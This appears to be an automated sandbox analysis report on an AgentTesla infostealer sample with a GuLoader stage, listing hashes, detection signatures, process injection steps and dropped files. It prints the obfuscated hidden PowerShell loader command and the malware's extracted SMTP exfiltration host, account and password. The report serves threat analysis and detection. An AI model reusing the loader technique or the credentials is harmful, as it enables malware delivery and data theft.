agenttesla | 857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305

General

Target

857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305.exe
Size

510KB
MD5

2337534b5deaa7c40784d61ad8602b08
SHA1

c74b04ac76a83ad77a8c570fe670ccc9a5b7dfdb
SHA256

857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305
SHA512

63bccd72dd7a5f83721b65c6219254748977887b7c1920d7aa49e10f5510aa9098beae2bda9b2f9439b1fb8da41a00f9c7d33fef21c53b34fc4adb914d113951
SSDEEP

12288:DlbPIiKP9/FOTzcxJkXwCbnIuX4cRljTJTSUXht/rDTo:5PIRDUgIbbIuocDTo

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
shark.ipchina163.com
Port:
587
Username:
[email protected]
Password:
=klKQ6APEoJ7

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
shark.ipchina163.com
Port:
587
Username:
[email protected]
Password:
=klKQ6APEoJ7
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

3 drive.google.com
5 drive.google.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

17 api.ipify.org
18 api.ipify.org
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2868 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

1648 powershell.exe
2868 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1648 set thread context of 2868 1648 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
3	drive.google.com
5	drive.google.com

flow	ioc
17	api.ipify.org
18	api.ipify.org

pid	process
2868	wab.exe

description	pid	process	target process
PID 1648 set thread context of 2868	1648	powershell.exe	wab.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exewab.exe

pid	process
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
1648	powershell.exe
2868	wab.exe
2868	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1648 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exewab.exe

description pid process

Token: SeDebugPrivilege 1648 powershell.exe
Token: SeDebugPrivilege 2868 wab.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

2868 wab.exe

description	pid	process
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	2868	wab.exe

pid	process
2868	wab.exe

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305.exepowershell.exe

description	pid	process	target process
PID 1688 wrote to memory of 1648	1688	857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305.exe	powershell.exe
PID 1688 wrote to memory of 1648	1688	857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305.exe	powershell.exe
PID 1688 wrote to memory of 1648	1688	857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305.exe	powershell.exe
PID 1688 wrote to memory of 1648	1688	857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305.exe	powershell.exe
PID 1648 wrote to memory of 2512	1648	powershell.exe	cmd.exe
PID 1648 wrote to memory of 2512	1648	powershell.exe	cmd.exe
PID 1648 wrote to memory of 2512	1648	powershell.exe	cmd.exe
PID 1648 wrote to memory of 2512	1648	powershell.exe	cmd.exe
PID 1648 wrote to memory of 2868	1648	powershell.exe	wab.exe
PID 1648 wrote to memory of 2868	1648	powershell.exe	wab.exe
PID 1648 wrote to memory of 2868	1648	powershell.exe	wab.exe
PID 1648 wrote to memory of 2868	1648	powershell.exe	wab.exe
PID 1648 wrote to memory of 2868	1648	powershell.exe	wab.exe
PID 1648 wrote to memory of 2868	1648	powershell.exe	wab.exe

C:\Users\Admin\AppData\Local\Temp\857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305.exe
"C:\Users\Admin\AppData\Local\Temp\857cabdf843986bade93bb6882b28bd696727e57333880dabd1666745ae27305.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Flyvesikringstjenesterne=Get-Content 'C:\Users\Admin\AppData\Roaming\Skrigeriernes172\numda\frimenighedsprsterne\Grnskollingernes237\pladsholderknudes.Fyr';$Kanalernes=$Flyvesikringstjenesterne.SubString(8868,3);.$Kanalernes($Flyvesikringstjenesterne)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
    3⤵
    PID:2512
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
1KB

MD5
a266bb7dcc38a562631361bbf61dd11b

SHA1
3b1efd3a66ea28b16697394703a72ca340a05bd5

SHA256
df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

SHA512
0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

Filesize
242B

MD5
b538d9fc83ecd623f08d40662570a01d

SHA1
f0883f5df4603d04cd62a80362ebe995c132dcff

SHA256
6476fdea0b41173f28f22149dc2c34614a192fdee801b934e5d70c9fd2a1130f

SHA512
151ea8bc1c184c7692bbb5745d0e441beeeb7af9b59259345e02a1f5aa0756615df2083991f942e9717f785363bf97a5af1a5d917a802b17298b57b050de17ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar71AC.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Roaming\Skrigeriernes172\numda\frimenighedsprsterne\Daemonian.Dan

Filesize
307KB

MD5
b04a668cfe1dfac5df4861136834b7d2

SHA1
9c98aebada10a79079caf025471a000f1940dd57

SHA256
7beca2ce0dda69160b4d94b3f0bddd3645b016c143322c9efd749075dcff65f7

SHA512
d8cfa468cedbbaffbe853f2841100d6536b0675d8ea5af186332c8d40992bab0e7237aa9eff2e11f85e1985d2804ad937f4224389cb2f85351e7fb9901ba1b41

Download Submit
C:\Users\Admin\AppData\Roaming\Skrigeriernes172\numda\frimenighedsprsterne\Grnskollingernes237\pladsholderknudes.Fyr

Filesize
58KB

MD5
b727db78e2c5f3b1559e11ceef7af2fb

SHA1
622ee25305320a7c6c2f7e6b201d9c1204d00053

SHA256
07a3c1a8c29ae7eb5b17b815e3c470068313f9911bf890f58f68f43cb42f2d54

SHA512
19116eb53099a09bc314577f4954870ead121ee2c7818d0653973d30597abc7c9b698407583893b7171b40861aa279e5c619fbd640db9075ad4aa91fb2e62f36

Download Submit
memory/1648-61-0x00000000029D0000-0x0000000002A10000-memory.dmp

Filesize
256KB

Download
memory/1648-116-0x0000000006870000-0x0000000007D05000-memory.dmp

Filesize
20.6MB

Download
memory/1648-64-0x0000000006870000-0x0000000007D05000-memory.dmp

Filesize
20.6MB

Download
memory/1648-65-0x0000000006870000-0x0000000007D05000-memory.dmp

Filesize
20.6MB

Download
memory/1648-66-0x0000000076D60000-0x0000000076F09000-memory.dmp

Filesize
1.7MB

Download
memory/1648-67-0x0000000076F50000-0x0000000077026000-memory.dmp

Filesize
856KB

Download
memory/1648-68-0x0000000073650000-0x0000000073BFB000-memory.dmp

Filesize
5.7MB

Download
memory/1648-63-0x0000000002980000-0x0000000002984000-memory.dmp

Filesize
16KB

Download
memory/1648-70-0x00000000029D0000-0x0000000002A10000-memory.dmp

Filesize
256KB

Download
memory/1648-58-0x00000000029D0000-0x0000000002A10000-memory.dmp

Filesize
256KB

Download
memory/1648-55-0x0000000073650000-0x0000000073BFB000-memory.dmp

Filesize
5.7MB

Download
memory/1648-57-0x00000000029D0000-0x0000000002A10000-memory.dmp

Filesize
256KB

Download
memory/1648-88-0x0000000006870000-0x0000000007D05000-memory.dmp

Filesize
20.6MB

Download
memory/1648-56-0x0000000073650000-0x0000000073BFB000-memory.dmp

Filesize
5.7MB

Download
memory/2868-72-0x0000000076F86000-0x0000000076F87000-memory.dmp

Filesize
4KB

Download
memory/2868-114-0x0000000000330000-0x0000000001392000-memory.dmp

Filesize
16.4MB

Download
memory/2868-117-0x0000000076F50000-0x0000000077026000-memory.dmp

Filesize
856KB

Download
memory/2868-118-0x0000000000330000-0x0000000000372000-memory.dmp

Filesize
264KB

Download
memory/2868-119-0x000000006E8B0000-0x000000006EF9E000-memory.dmp

Filesize
6.9MB

Download
memory/2868-120-0x0000000021220000-0x0000000021260000-memory.dmp

Filesize
256KB

Download
memory/2868-121-0x00000000013A0000-0x0000000002835000-memory.dmp

Filesize
20.6MB

Download
memory/2868-73-0x0000000076F50000-0x0000000077026000-memory.dmp

Filesize
856KB

Download
memory/2868-71-0x0000000076D60000-0x0000000076F09000-memory.dmp

Filesize
1.7MB

Download
memory/2868-69-0x00000000013A0000-0x0000000002835000-memory.dmp

Filesize
20.6MB

Download
memory/2868-172-0x000000006E8B0000-0x000000006EF9E000-memory.dmp

Filesize
6.9MB

Download
memory/2868-173-0x0000000021220000-0x0000000021260000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads